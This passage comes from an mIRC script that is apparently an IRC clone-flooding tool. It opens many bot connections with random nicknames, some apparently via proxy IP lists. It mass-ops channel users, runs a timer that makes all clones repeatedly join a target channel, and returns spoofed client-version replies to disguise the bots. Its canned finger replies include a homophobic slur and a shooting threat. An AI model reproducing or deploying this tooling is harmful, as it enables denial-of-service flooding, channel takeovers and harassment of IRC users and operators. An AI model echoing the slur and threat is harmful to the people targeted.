n541= SockWrite -nt $1 NICK %N
n542= }
n543= If ($Did(Clone,13).State == 1) {
n544= SockWrite -nt $1 USER $Lower($Did(Clone,15)) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Did(Clone,15))
n545= SockWrite -nt $1 NICK $Did(Clone,15) $+ $Clone.RandNick(2)
n546= }
n547=}
n548=;$Iif($Did(Clone,85),$Did(Clone,85),%N)
n549=Alias Clone.Go {
n550= If (!$Did(Clone,34,%Clone.List)) { Set %Clone.List 1 }
n551= :Again
n552= Var %R = $Rand(0,9999999)
n553= If ($Sock($+(Clone.,$Did(Clone,6),.,%R))) { Goto Again }
n554= If ($Did(Clone,6) == Normal) { SockOpen Clone.Normal. $+ %R $Did(Clone,2) $Did(Clone,4) }
n555= Else { SockOpen $+(Clone.,$Did(Clone,6),.,%R) $Did(Clone,34,%Clone.List) }
n556= Inc %Clone.List
n557= Did -ra Clone 25 $Sock(Clone.*,0)
n558=}
n559=Dialog -l Clone.IPs {
n560= title "Connected IP Ports"
n561= size -1 -1 254 360
n562= option Pixels
n563= edit "", 1, 8 8 236 317, read multi hsbar vsbar
n564= button &Refresh List, 2, 8 332 235 20
n565=}
n566=
n567=Alias Clone.IPs {
n568= If (!$Dialog(Clone.IPs)) { Dialog -md Clone.IPs Clone.IPs }
n569= Did -r Clone.IPs 1
n570= Var %I = 1
n571= While ($Sock(Clone.*,%I)) {
n572= If ($Sock(Clone.*,%I).Mark) && ($Sock(Clone.*,%I).Mark != 1) && (!$DidWM(Clone.IPs,1,$Sock(Clone.*,%I).IP $Sock(Clone.*,%I).Port)) {
n573= Did -i Clone.IPs 1 1 $Sock(Clone.*,%I).IP $Sock(Clone.*,%I).Port
n574= }
n575= Inc %I
n576= }
n577=}
n578=alias clone.op {
n579= var %x = 1
n580= while ($did(Clone,38,%x) != $null) {
n581= sockwrite -nt * mode $active +oooooo $did(Clone,38,%x) $did(Clone,38,$calc(%x + 1)) $did(Clone,38,$calc(%x + 2)) $did(Clone,38,$calc(%x + 3)) $did(Clone,38,$calc(%x + 4)) $did(Clone,38,$calc(%x + 5)) $did(Clone,38,$calc(%x + 6)) $did(Clone,38,$calc(%x + 7)) $did(Clone,38,$calc(%x + 8)) $did(Clone,38,$calc(%x + 9)) $did(Clone,38,$calc(%x + 10))
n582= inc %x 6
n583= }
n584=}
n585=Alias f {
n586= /set %fuck.chan $1
n587= /timerflood1 0 1 /sockwrite -nt * join %fuck.chan
n588= /echo %scrinfo $timestamp ø 8,1Auto-Loading Bots to: %fuck.chan
n589=}
n590=Alias fo {
n591= /timerflood* off
n592= / %scrinfo $timestamp ø 8,1Stopped Auto-Loadin &
n593= /unset %fuck.*
n594=}
n595=Alias VReply {
n596= If ($1 == 1) { Return mIRC v7.01 Khaled Mardam-Bay }
n597= If ($1 == 2) { Return mIRC v6.35 Khaled Mardam-Bay }
n598= If ($1 == 3) { Return mIRC vRxBot f0rte }
n599= If ($1 == 4) { Return ^=o.o=^ I'm a kitty, rawr! }
n600= If ($1 == 5) { Return mIRC (>^.^)> KIRBY SAYS. STFU }
n601= If ($1 == 7) { Return mIRC v6.21 Khaled Mardam-Bey }
n602= If ($1 == 8) { Return mIRC v6.31 Khaled Mardam-Bey }
n603= If ($1 == 9) { Return mIRC v6.12 Khaled Mardam-Bey }
n604= If ($1 == 10) { Return mIRC v6.16 Khaled Mardam-Bey }
n605=}
n606=Alias FReply {
n607= If ($1 == 1) { Return Don't Finger Me Pervert! }
n608= If ($1 == 2) { Return Lay Off My Koolaid! }
n609= If ($1 == 3) { Return Sniff your Finger, I dare yee. }
n610= If ($1 == 4) { Return I request another finger. ;) }
n611= If ($1 == 5) { Return You look prettier when I'm drunk. ;) }
n612= If ($1 == 6) { Return WHOA. YOU'RE INVADING MII PERSONAL SPACE, YOU TWO-BIT QUEER. WHERE I'M FROM, PEPOLE GET SHOT FOR THAT. }
n613= If ($1 == 7) { Return mmm. now swirl your finger. pl0x. }
n614= If ($1 == 8) { Return Sir. I don't believe you to be a doctor!@@#$#%^&& }
n615= If ($1 == 9) { Return Is it my turn? ;] }
n616= If ($1 == 10) { Return DaCreW. }